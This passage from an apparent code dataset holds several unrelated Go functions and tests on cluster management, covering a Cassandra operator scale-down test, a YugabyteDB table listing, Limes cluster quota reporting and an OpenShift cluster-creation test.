\"cassandra-demo-dc2-rack1-0\",\n\t\t\tNamespace: \"ns\",\n\t\t\tLabels: map[string]string{\n\t\t\t\t\"app\": \"cassandracluster\",\n\t\t\t\t\"cassandracluster\": \"cassandra-demo\",\n\t\t\t\t\"cassandraclusters.db.orange.com.dc\": \"dc2\",\n\t\t\t\t\"cassandraclusters.db.orange.com.rack\": \"rack1\",\n\t\t\t\t\"cluster\": \"k8s.pic\",\n\t\t\t\t\"dc-rack\": \"dc2-rack1\",\n\t\t\t},\n\t\t},\n\t}\n\tpod.Status.Phase = v1.PodRunning\n\tpod.Spec.Hostname = \"cassandra-demo2-dc2-rack1-0\"\n\tpod.Spec.Subdomain = \"cassandra-demo2-dc2-rack1\"\n\thostName := k8s.PodHostname(*pod)\n\trcc.CreatePod(pod)\n\n\t//Mock Jolokia Call to NonLocalKeyspacesInDC\n\thttpmock.Activate()\n\tdefer httpmock.DeactivateAndReset()\n\tkeyspacesDescribed := []string{}\n\n\thttpmock.RegisterResponder(\"POST\", JolokiaURL(hostName, jolokiaPort),\n\t\tfunc(req *http.Request) (*http.Response, error) {\n\t\t\tvar execrequestdata execRequestData\n\t\t\tif err := json.NewDecoder(req.Body).Decode(&execrequestdata); err != nil {\n\t\t\t\tt.Error(\"Can't decode request received\")\n\t\t\t}\n\t\t\tif execrequestdata.Attribute == \"Keyspaces\" {\n\t\t\t\treturn httpmock.NewStringResponse(200, keyspaceListString()), nil\n\t\t\t}\n\t\t\tkeyspace, ok := execrequestdata.Arguments[0].(string)\n\n\t\t\tif !ok {\n\t\t\t\tt.Error(\"Keyspace can't be nil\")\n\t\t\t}\n\n\t\t\tkeyspacesDescribed = append(keyspacesDescribed, keyspace)\n\n\t\t\tresponse := `{\"request\": {\"mbean\": \"org.apache.cassandra.db:type=StorageService\",\n\t\t\t\t\t\t \"arguments\": [\"%s\"],\n\t\t\t\t\t\t \"type\": \"exec\",\n\t\t\t\t\t\t \"operation\": \"describeRingJMX\"},\n\t\t\t\t \"timestamp\": 1541908753,\n\t\t\t\t \"status\": 200,`\n\n\t\t\t// For keyspace demo1 and demo2 we return token ranges with some of them assigned to nodes on dc2\n\t\t\tif keyspace[:4] == \"demo\" {\n\t\t\t\tresponse += `\"value\":\n\t\t\t\t\t [\"TokenRange(start_token:4572538884437204647, end_token:4764428918503636065, endpoints:[10.244.3.8], rpc_endpoints:[10.244.3.8], endpoint_details:[EndpointDetails(host:10.244.3.8, datacenter:dc1, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:-8547872176065322335, end_token:-8182289314504856691, endpoints:[10.244.2.5], rpc_endpoints:[10.244.2.5], endpoint_details:[EndpointDetails(host:10.244.2.5, datacenter:dc1, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:-2246208089217404881, end_token:-2021878843377619999, endpoints:[10.244.2.5], rpc_endpoints:[10.244.2.5], endpoint_details:[EndpointDetails(host:10.244.2.5, datacenter:dc2, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:-1308323778199165410, end_token:-1269907200339273513, endpoints:[10.244.2.6], rpc_endpoints:[10.244.2.6], endpoint_details:[EndpointDetails(host:10.244.2.6, datacenter:dc1, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:8544184416734424972, end_token:8568577617447026631, endpoints:[10.244.2.6], rpc_endpoints:[10.244.2.6], endpoint_details:[EndpointDetails(host:10.244.2.6, datacenter:dc2, rack:rack1)])\",\n\t\t\t\t\t\t\"TokenRange(start_token:2799723085723957315, end_token:3289697029162626204, endpoints:[10.244.3.7], rpc_endpoints:[10.244.3.7], endpoint_details:[EndpointDetails(host:10.244.3.7, datacenter:dc1, rack:rack1)])\"]}`\n\t\t\t\treturn httpmock.NewStringResponse(200, fmt.Sprintf(response, keyspace)), nil\n\t\t\t}\n\t\t\treturn httpmock.NewStringResponse(200, fmt.Sprintf(response+`\"value\": []}`, keyspace)), nil\n\t\t},\n\t)\n\n\t// ask scale down to 0\n\tvar nb int32\n\tcc.Spec.Topology.DC[1].NodesPerRacks = &nb\n\n\tres := rcc.CheckNonAllowedChanges(cc, status)\n\trcc.updateCassandraStatus(cc, status)\n\t//Change not allowed because DC still has nodes\n\tassert.Equal(true, res)\n\n\t//We have restore nodesperrack\n\tassert.Equal(int32(1), *cc.Spec.Topology.DC[1].NodesPerRacks)\n\n\t//Changes replicated keyspaces (remove demo1 and demo2 which still have replicated datas\n\t//allKeyspaces is a global test variable\n\tallKeyspaces = []string{\"system\", \"system_auth\", \"system_schema\", \"something\", \"else\"}\n\tcc.Spec.Topology.DC[1].NodesPerRacks = &nb\n\n\tres = rcc.CheckNonAllowedChanges(cc, status)\n\n\t//Change allowed because there is no more keyspace with replicated datas\n\tassert.Equal(false, res)\n\n\t//Nodes Per Rack is still 0\n\tassert.Equal(int32(0), *cc.Spec.Topology.DC[1].NodesPerRacks)\n}", "func (c *Container) GetClusterTables(ctx echo.Context) error {\n tableListResponse := models.ClusterTableListResponse{\n Data: []models.ClusterTable{},\n }\n tablesFuture := make(chan helpers.TablesFuture)\n go helpers.GetTablesFuture(helpers.HOST, true, tablesFuture)\n tablesListStruct := <-tablesFuture\n if tablesListStruct.Error != nil {\n return ctx.String(http.StatusInternalServerError, tablesListStruct.Error.Error())\n }\n // For now, we only show user and index tables.\n tablesList := append(tablesListStruct.Tables.User, tablesListStruct.Tables.Index...)\n api := ctx.QueryParam(\"api\")\n switch api {\n case \"YSQL\":\n for _, table := range tablesList {\n if table.YsqlOid != \"\" {\n tableListResponse.Data = append(tableListResponse.Data,\n models.ClusterTable{\n Name: table.TableName,\n Keyspace: table.Keyspace,\n Type: models.YBAPIENUM_YSQL,\n SizeBytes: table.OnDiskSize.WalFilesSizeBytes +\n table.OnDiskSize.SstFilesSizeBytes,\n })\n }\n }\n case \"YCQL\":\n for _, table := range tablesList {\n if table.YsqlOid == \"\" {\n tableListResponse.Data = append(tableListResponse.Data,\n models.ClusterTable{\n Name: table.TableName,\n Keyspace: table.Keyspace,\n Type: models.YBAPIENUM_YCQL,\n SizeBytes: table.OnDiskSize.WalFilesSizeBytes +\n table.OnDiskSize.SstFilesSizeBytes,\n })\n }\n }\n }\n return ctx.JSON(http.StatusOK, tableListResponse)\n}", "func TestCalculateStorageUsage(t *testing.T) {\n\tt.Skip()\n\tdefer leaktest.AfterTest(t)()\n\tif testing.Short() {\n\t\tt.Skip(\"skipping in short mode.\")\n\t\treturn\n\t}\n\tctx := context.Background()\n\n\t// initialize cluster\n\topt := service.DefaultOptions()\n\tc, err := service.NewCluster(ctx, t, opt.WithLogLevel(zap.ErrorLevel))\n\trequire.NoError(t, err)\n\t// close the cluster\n\tdefer func(c service.Cluster) {\n\t\trequire.NoError(t, c.Close())\n\t}(c)\n\t// start the cluster\n\trequire.NoError(t, c.Start())\n\n\tctx, cancel := context.WithTimeout(context.Background(), defaultTestTimeout)\n\tdefer cancel()\n\n\tc.WaitCNStoreTaskServiceCreatedIndexed(ctx, 0)\n\tc.WaitTNStoreTaskServiceCreatedIndexed(ctx, 0)\n\tc.WaitLogStoreTaskServiceCreatedIndexed(ctx, 0)\n\n\tctrl := gomock.NewController(t)\n\ttxnOperator := mock_frontend.NewMockTxnOperator(ctrl)\n\ttxnOperator.EXPECT().Txn().Return(txn.TxnMeta{}).AnyTimes()\n\ttxnOperator.EXPECT().Commit(gomock.Any()).Return(nil).AnyTimes()\n\ttxnOperator.EXPECT().Rollback(gomock.Any()).Return(nil).AnyTimes()\n\ttxnClient := mock_frontend.NewMockTxnClient(ctrl)\n\ttxnClient.EXPECT().New(gomock.Any(), gomock.Any()).Return(txnOperator, nil).AnyTimes()\n\ttable := mock_frontend.NewMockRelation(ctrl)\n\ttable.EXPECT().Ranges(gomock.Any(), gomock.Any()).Return(nil, nil).AnyTimes()\n\ttable.EXPECT().TableDefs(gomock.Any()).Return(nil, nil).AnyTimes()\n\ttable.EXPECT().GetPrimaryKeys(gomock.Any()).Return(nil, nil).AnyTimes()\n\ttable.EXPECT().GetHideKeys(gomock.Any()).Return(nil, nil).AnyTimes()\n\ttable.EXPECT().TableColumns(gomock.Any()).Return(nil, nil).AnyTimes()\n\ttable.EXPECT().GetTableID(gomock.Any()).Return(uint64(10)).AnyTimes()\n\tdb := mock_frontend.NewMockDatabase(ctrl)\n\tdb.EXPECT().Relations(gomock.Any()).Return(nil, nil).AnyTimes()\n\tdb.EXPECT().Relation(gomock.Any(), gomock.Any(), gomock.Any()).Return(table, nil).AnyTimes()\n\teng := mock_frontend.NewMockEngine(ctrl)\n\teng.EXPECT().New(gomock.Any(), gomock.Any()).Return(nil).AnyTimes()\n\teng.EXPECT().Database(gomock.Any(), gomock.Any(), txnOperator).Return(db, nil).AnyTimes()\n\teng.EXPECT().Hints().Return(engine.Hints{CommitOrRollbackTimeout: time.Second}).AnyTimes()\n\tpu := config.NewParameterUnit(&config.FrontendParameters{}, eng, txnClient, nil)\n\tpu.SV.SetDefaultValues()\n\n\t// Mock autoIncrCache\n\taicm := &defines.AutoIncrCacheManager{}\n\n\tieFactory := func() ie.InternalExecutor {\n\t\treturn frontend.NewInternalExecutor(pu, aicm)\n\t}\n\n\terr = mometric.CalculateStorageUsage(ctx, ieFactory)\n\trequire.Nil(t, err)\n\n\ts := metric.StorageUsage(\"sys\")\n\tdm := &dto.Metric{}\n\ts.Write(dm)\n\tlogutil.Infof(\"size: %f\", dm.GetGauge().GetValue())\n\tt.Logf(\"size: %f\", dm.GetGauge().GetValue())\n}", "func (ck *Clerk) Query(num int) Config {\n\targs := &QueryArgs{}\n\t// Your code here.\n\targs.Num = num\n\targs.ClientId = ck.clientId\n\targs.SeqId = atomic.AddInt64(&ck.seqId, 1)\n\n\t//DPrintf(\"Client[%d] start Query(num), num = %v\", ck.clientId, num)\n\tfor {\n\t\t// try each known server.\n\t\tfor _, srv := range ck.servers {\n\t\t\tvar reply QueryReply\n\t\t\tok := srv.Call(\"ShardMaster.Query\", args, &reply)\n\t\t\tif ok && reply.WrongLeader == false {\n\t\t\t\t//DPrintf(\"Client[%d] finish Query(%v) = %v\", ck.clientId, num, reply.Config)\n\t\t\t\treturn reply.Config\n\t\t\t}\n\t\t}\n\t\t\n\t\ttime.Sleep(100 * time.Millisecond)\n\t}\n}", "func GetClusters(config core.Configuration, clusterID *string, localQuotaUsageOnly bool, withSubcapacities bool, dbi db.Interface, filter Filter) ([]*limes.ClusterReport, error) {\n\t//first query: collect project usage data in these clusters\n\tclusters := make(clusters)\n\tqueryStr, joinArgs := filter.PrepareQuery(clusterReportQuery1)\n\twhereStr, whereArgs := db.BuildSimpleWhereClause(makeClusterFilter(\"d\", clusterID), len(joinArgs))\n\terr := db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\tvar (\n\t\t\tclusterID string\n\t\t\tserviceType *string\n\t\t\tresourceName *string\n\t\t\tprojectsQuota *uint64\n\t\t\tusage *uint64\n\t\t\tburstUsage *uint64\n\t\t\tminScrapedAt *util.Time\n\t\t\tmaxScrapedAt *util.Time\n\t\t)\n\t\terr := rows.Scan(&clusterID, &serviceType, &resourceName,\n\t\t\t&projectsQuota, &usage, &burstUsage,\n\t\t\t&minScrapedAt, &maxScrapedAt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, service, resource := clusters.Find(config, clusterID, serviceType, resourceName)\n\n\t\tclusterConfig, exists := config.Clusters[clusterID]\n\t\tclusterCanBurst := exists && clusterConfig.Config.Bursting.MaxMultiplier > 0\n\n\t\tif service != nil {\n\t\t\tif maxScrapedAt != nil {\n\t\t\t\tval := time.Time(*maxScrapedAt).Unix()\n\t\t\t\tservice.MaxScrapedAt = &val\n\t\t\t}\n\t\t\tif minScrapedAt != nil {\n\t\t\t\tval := time.Time(*minScrapedAt).Unix()\n\t\t\t\tservice.MinScrapedAt = &val\n\t\t\t}\n\t\t}\n\n\t\tif resource != nil {\n\t\t\tif projectsQuota != nil && resource.ExternallyManaged {\n\t\t\t\tresource.DomainsQuota = *projectsQuota\n\t\t\t}\n\t\t\tif usage != nil {\n\t\t\t\tresource.Usage = *usage\n\t\t\t}\n\t\t\tif clusterCanBurst && burstUsage != nil {\n\t\t\t\tresource.BurstUsage = *burstUsage\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//second query: collect domain quota data in these clusters\n\tqueryStr, joinArgs = filter.PrepareQuery(clusterReportQuery2)\n\twhereStr, whereArgs = db.BuildSimpleWhereClause(makeClusterFilter(\"d\", clusterID), len(joinArgs))\n\terr = db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\tvar (\n\t\t\tclusterID string\n\t\t\tserviceType *string\n\t\t\tresourceName *string\n\t\t\tquota *uint64\n\t\t)\n\t\terr := rows.Scan(&clusterID, &serviceType, &resourceName, &quota)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, _, resource := clusters.Find(config, clusterID, serviceType, resourceName)\n\n\t\tif resource != nil && quota != nil && !resource.ExternallyManaged {\n\t\t\tresource.DomainsQuota = *quota\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//third query: collect capacity data for these clusters\n\tqueryStr, joinArgs = filter.PrepareQuery(clusterReportQuery3)\n\tif !withSubcapacities {\n\t\tqueryStr = strings.Replace(queryStr, \"cr.subcapacities\", \"''\", 1)\n\t}\n\twhereStr, whereArgs = db.BuildSimpleWhereClause(makeClusterFilter(\"cs\", clusterID), len(joinArgs))\n\terr = db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\tvar (\n\t\t\tclusterID string\n\t\t\tserviceType string\n\t\t\tresourceName *string\n\t\t\trawCapacity *uint64\n\t\t\tcomment *string\n\t\t\tsubcapacities *string\n\t\t\tscrapedAt util.Time\n\t\t)\n\t\terr := rows.Scan(&clusterID, &serviceType, &resourceName, &rawCapacity, &comment, &subcapacities, &scrapedAt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcluster, _, resource := clusters.Find(config, clusterID, &serviceType, resourceName)\n\n\t\tif resource != nil {\n\t\t\tovercommitFactor := config.Clusters[clusterID].BehaviorForResource(serviceType, *resourceName).OvercommitFactor\n\t\t\tif overcommitFactor == 0 {\n\t\t\t\tresource.Capacity = rawCapacity\n\t\t\t} else {\n\t\t\t\tresource.RawCapacity = rawCapacity\n\t\t\t\tcapacity := uint64(float64(*rawCapacity) * overcommitFactor)\n\t\t\t\tresource.Capacity = &capacity\n\t\t\t}\n\t\t\tif comment != nil {\n\t\t\t\tresource.Comment = *comment\n\t\t\t}\n\t\t\tif subcapacities != nil && *subcapacities != \"\" {\n\t\t\t\tresource.Subcapacities = limes.JSONString(*subcapacities)\n\t\t\t}\n\t\t}\n\n\t\tif cluster != nil {\n\t\t\tscrapedAtUnix := time.Time(scrapedAt).Unix()\n\t\t\tif cluster.MaxScrapedAt == nil || *cluster.MaxScrapedAt < scrapedAtUnix {\n\t\t\t\tcluster.MaxScrapedAt = &scrapedAtUnix\n\t\t\t}\n\t\t\tif cluster.MinScrapedAt == nil || *cluster.MinScrapedAt > scrapedAtUnix {\n\t\t\t\tcluster.MinScrapedAt = &scrapedAtUnix\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//enumerate shared services\n\tisSharedService := make(map[string]bool)\n\tfor clusterID := range clusters {\n\t\tclusterConfig, exists := config.Clusters[clusterID]\n\t\tif exists {\n\t\t\tfor serviceType, shared := range clusterConfig.IsServiceShared {\n\t\t\t\tif shared {\n\t\t\t\t\tisSharedService[serviceType] = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(isSharedService) > 0 {\n\n\t\tif !localQuotaUsageOnly {\n\n\t\t\t//fourth query: aggregate domain quota for shared services\n\t\t\tsharedQuotaSums := make(map[string]map[string]uint64)\n\n\t\t\tsharedServiceTypes := make([]string, 0, len(isSharedService))\n\t\t\tfor serviceType := range isSharedService {\n\t\t\t\tsharedServiceTypes = append(sharedServiceTypes, serviceType)\n\t\t\t}\n\t\t\twhereStr, queryArgs := db.BuildSimpleWhereClause(map[string]interface{}{\"ds.type\": sharedServiceTypes}, 0)\n\t\t\terr = db.ForeachRow(db.DB, fmt.Sprintf(clusterReportQuery4, whereStr), queryArgs, func(rows *sql.Rows) error {\n\t\t\t\tvar (\n\t\t\t\t\tserviceType string\n\t\t\t\t\tresourceName string\n\t\t\t\t\tquota uint64\n\t\t\t\t)\n\t\t\t\terr := rows.Scan(&serviceType, &resourceName, &quota)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif sharedQuotaSums[serviceType] == nil {\n\t\t\t\t\tsharedQuotaSums[serviceType] = make(map[string]uint64)\n\t\t\t\t}\n\t\t\t\tsharedQuotaSums[serviceType][resourceName] = quota\n\t\t\t\treturn nil\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t//fifth query: aggregate project quota for shared services\n\t\t\twhereStr, queryArgs = db.BuildSimpleWhereClause(map[string]interface{}{\"ps.type\": sharedServiceTypes}, 0)\n\t\t\tsharedUsageSums := make(map[string]map[string]uint64)\n\t\t\terr = db.ForeachRow(db.DB, fmt.Sprintf(clusterReportQuery5, whereStr), queryArgs, func(rows *sql.Rows) error {\n\t\t\t\tvar (\n\t\t\t\t\tserviceType string\n\t\t\t\t\tresourceName string\n\t\t\t\t\tusage uint64\n\t\t\t\t)\n\t\t\t\terr := rows.Scan(&serviceType, &resourceName, &usage)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tif sharedUsageSums[serviceType] == nil {\n\t\t\t\t\tsharedUsageSums[serviceType] = make(map[string]uint64)\n\t\t\t\t}\n\t\t\t\tsharedUsageSums[serviceType][resourceName] = usage\n\t\t\t\treturn nil\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tfor _, cluster := range clusters {\n\t\t\t\tisSharedService := make(map[string]bool)\n\t\t\t\tfor serviceType, shared := range config.Clusters[cluster.ID].IsServiceShared {\n\t\t\t\t\t//NOTE: cluster config is guaranteed to exist due to earlier validation\n\t\t\t\t\tif shared {\n\t\t\t\t\t\tisSharedService[serviceType] = true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, service := range cluster.Services {\n\t\t\t\t\tif isSharedService[service.Type] && sharedQuotaSums[service.Type] != nil {\n\t\t\t\t\t\tfor _, resource := range service.Resources {\n\t\t\t\t\t\t\tquota, exists := sharedQuotaSums[service.Type][resource.Name]\n\t\t\t\t\t\t\tif exists {\n\t\t\t\t\t\t\t\tresource.DomainsQuota = quota\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tusage, exists := sharedUsageSums[service.Type][resource.Name]\n\t\t\t\t\t\t\tif exists {\n\t\t\t\t\t\t\t\tresource.Usage = usage\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\t//third query again, but this time to collect shared capacities\n\t\tqueryStr, joinArgs = filter.PrepareQuery(clusterReportQuery3)\n\t\tif !withSubcapacities {\n\t\t\tqueryStr = strings.Replace(queryStr, \"cr.subcapacities\", \"''\", 1)\n\t\t}\n\t\tfilter := map[string]interface{}{\"cs.cluster_id\": \"shared\"}\n\t\twhereStr, whereArgs = db.BuildSimpleWhereClause(filter, len(joinArgs))\n\t\terr = db.ForeachRow(db.DB, fmt.Sprintf(queryStr, whereStr), append(joinArgs, whereArgs...), func(rows *sql.Rows) error {\n\t\t\tvar (\n\t\t\t\tsharedClusterID string\n\t\t\t\tserviceType string\n\t\t\t\tresourceName *string\n\t\t\t\trawCapacity *uint64\n\t\t\t\tcomment *string\n\t\t\t\tsubcapacities *string\n\t\t\t\tscrapedAt util.Time\n\t\t\t)\n\t\t\terr := rows.Scan(&sharedClusterID, &serviceType, &resourceName, &rawCapacity, &comment, &subcapacities, &scrapedAt)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfor _, cluster := range clusters {\n\t\t\t\tif !config.Clusters[cluster.ID].IsServiceShared[serviceType] {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t_, _, resource := clusters.Find(config, cluster.ID, &serviceType, resourceName)\n\n\t\t\t\tif resource != nil {\n\t\t\t\t\tovercommitFactor := config.Clusters[cluster.ID].BehaviorForResource(serviceType, *resourceName).OvercommitFactor\n\t\t\t\t\tif overcommitFactor == 0 {\n\t\t\t\t\t\tresource.Capacity = rawCapacity\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresource.RawCapacity = rawCapacity\n\t\t\t\t\t\tcapacity := uint64(float64(*rawCapacity) * overcommitFactor)\n\t\t\t\t\t\tresource.Capacity = &capacity\n\t\t\t\t\t}\n\t\t\t\t\tif comment != nil {\n\t\t\t\t\t\tresource.Comment = *comment\n\t\t\t\t\t}\n\t\t\t\t\tif subcapacities != nil && *subcapacities != \"\" {\n\t\t\t\t\t\tresource.Subcapacities = limes.JSONString(*subcapacities)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tscrapedAtUnix := time.Time(scrapedAt).Unix()\n\t\t\t\tif cluster.MaxScrapedAt == nil || *cluster.MaxScrapedAt < scrapedAtUnix {\n\t\t\t\t\tcluster.MaxScrapedAt = &scrapedAtUnix\n\t\t\t\t}\n\t\t\t\tif cluster.MinScrapedAt == nil || *cluster.MinScrapedAt > scrapedAtUnix {\n\t\t\t\t\tcluster.MinScrapedAt = &scrapedAtUnix\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t}\n\n\t//flatten result (with stable order to keep the tests happy)\n\tids := make([]string, 0, len(clusters))\n\tfor id := range clusters {\n\t\tids = append(ids, id)\n\t}\n\tsort.Strings(ids)\n\tresult := make([]*limes.ClusterReport, len(clusters))\n\tfor idx, id := range ids {\n\t\tresult[idx] = clusters[id]\n\t}\n\n\treturn result, nil\n}", "func (us *ClusterStore) GetAll() ([]model.Cluster, error) {\n\tvar cs []model.Cluster\n\tif err := us.db.Preload(clause.Associations).Find(&cs).Error; err != nil {\n\t\tif errors.Is(err, gorm.ErrRecordNotFound) {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\treturn cs, nil\n}", "func TestClusterCreate(t *testing.T) {\n\tcases := []struct {\n\t\tname string\n\t\tmachineSets []clustopv1alpha1.ClusterMachineSet\n\t}{\n\t\t{\n\t\t\tname: \"no compute machine sets\",\n\t\t\tmachineSets: []clustopv1alpha1.ClusterMachineSet{\n\t\t\t\t{\n\t\t\t\t\tShortName: \"master\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 3,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeMaster,\n\t\t\t\t\t\tInfra: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"single compute machine sets\",\n\t\t\tmachineSets: []clustopv1alpha1.ClusterMachineSet{\n\t\t\t\t{\n\t\t\t\t\tShortName: \"master\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 3,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeMaster,\n\t\t\t\t\t\tInfra: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tShortName: \"first\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 5,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeCompute,\n\t\t\t\t\t\tInfra: false,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"multiple compute machine sets\",\n\t\t\tmachineSets: []clustopv1alpha1.ClusterMachineSet{\n\t\t\t\t{\n\t\t\t\t\tShortName: \"master\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 3,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeMaster,\n\t\t\t\t\t\tInfra: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tShortName: \"first\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 5,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeCompute,\n\t\t\t\t\t\tInfra: false,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tShortName: \"second\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 6,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeCompute,\n\t\t\t\t\t\tInfra: false,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tShortName: \"3rd\",\n\t\t\t\t\tMachineSetConfig: clustopv1alpha1.MachineSetConfig{\n\t\t\t\t\t\tSize: 3,\n\t\t\t\t\t\tNodeType: clustopv1alpha1.NodeTypeCompute,\n\t\t\t\t\t\tInfra: false,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tc := range cases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tkubeClient, _, clustopClient, capiClient, _, tearDown := startServerAndControllers(t)\n\t\t\tdefer tearDown()\n\n\t\t\tclusterVersion := &clustopv1alpha1.ClusterVersion{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tNamespace: testNamespace,\n\t\t\t\t\tName: testClusterVersionName,\n\t\t\t\t},\n\t\t\t\tSpec: clustopv1alpha1.ClusterVersionSpec{\n\t\t\t\t\tImageFormat: \"openshift/origin-${component}:${version}\",\n\t\t\t\t\tVMImages: clustopv1alpha1.VMImages{\n\t\t\t\t\t\tAWSImages: &clustopv1alpha1.AWSVMImages{\n\t\t\t\t\t\t\tRegionAMIs: []clustopv1alpha1.AWSRegionAMIs{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tRegion: \"us-east-1\",\n\t\t\t\t\t\t\t\t\tAMI: \"computeAMI_ID\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tDeploymentType: clustopv1alpha1.ClusterDeploymentTypeOrigin,\n\t\t\t\t\tVersion: \"v3.7.0\",\n\t\t\t\t\tOpenshiftAnsibleImage: func(s string) *string { return &s }(\"test-ansible-image\"),\n\t\t\t\t\tOpenshiftAnsibleImagePullPolicy: func(p kapi.PullPolicy) *kapi.PullPolicy { return &p }(kapi.PullNever),\n\t\t\t\t},\n\t\t\t}\n\t\t\tclustopClient.ClusteroperatorV1alpha1().ClusterVersions(testNamespace).Create(clusterVersion)\n\n\t\t\tclusterDeploymentSpec := &clustopv1alpha1.ClusterDeploymentSpec{\n\t\t\t\tClusterID: testClusterName + \"-abcde\",\n\t\t\t\tClusterVersionRef: clustopv1alpha1.ClusterVersionReference{\n\t\t\t\t\tNamespace: clusterVersion.Namespace,\n\t\t\t\t\tName: clusterVersion.Name,\n\t\t\t\t},\n\t\t\t\tHardware: clustopv1alpha1.ClusterHardwareSpec{\n\t\t\t\t\tAWS: &clustopv1alpha1.AWSClusterSpec{\n\t\t\t\t\t\tRegion: \"us-east-1\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tDefaultHardwareSpec: &clustopv1alpha1.MachineSetHardwareSpec{\n\t\t\t\t\tAWS: &clustopv1alpha1.MachineSetAWSHardwareSpec{\n\t\t\t\t\t\tInstanceType: \"instance-type\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tMachineSets: tc.machineSets,\n\t\t\t}\n\t\t\tcluster := &capiv1alpha1.Cluster{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tNamespace: testNamespace,\n\t\t\t\t\tName: testClusterName,\n\t\t\t\t},\n\t\t\t\tSpec: capiv1alpha1.ClusterSpec{\n\t\t\t\t\tClusterNetwork: capiv1alpha1.ClusterNetworkingConfig{\n\t\t\t\t\t\tServices: capiv1alpha1.NetworkRanges{\n\t\t\t\t\t\t\tCIDRBlocks: []string{\"255.255.255.255\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPods: capiv1alpha1.NetworkRanges{\n\t\t\t\t\t\t\tCIDRBlocks: []string{\"255.255.255.255\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tServiceDomain: \"service-domain\",\n\t\t\t\t\t},\n\t\t\t\t\tProviderConfig: capiv1alpha1.ProviderConfig{\n\t\t\t\t\t\tValue: clusterAPIProviderConfigFromClusterSpec(clusterDeploymentSpec),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tcluster, err := capiClient.ClusterV1alpha1().Clusters(testNamespace).Create(cluster)\n\t\t\tif !assert.NoError(t, err, \"could not create the 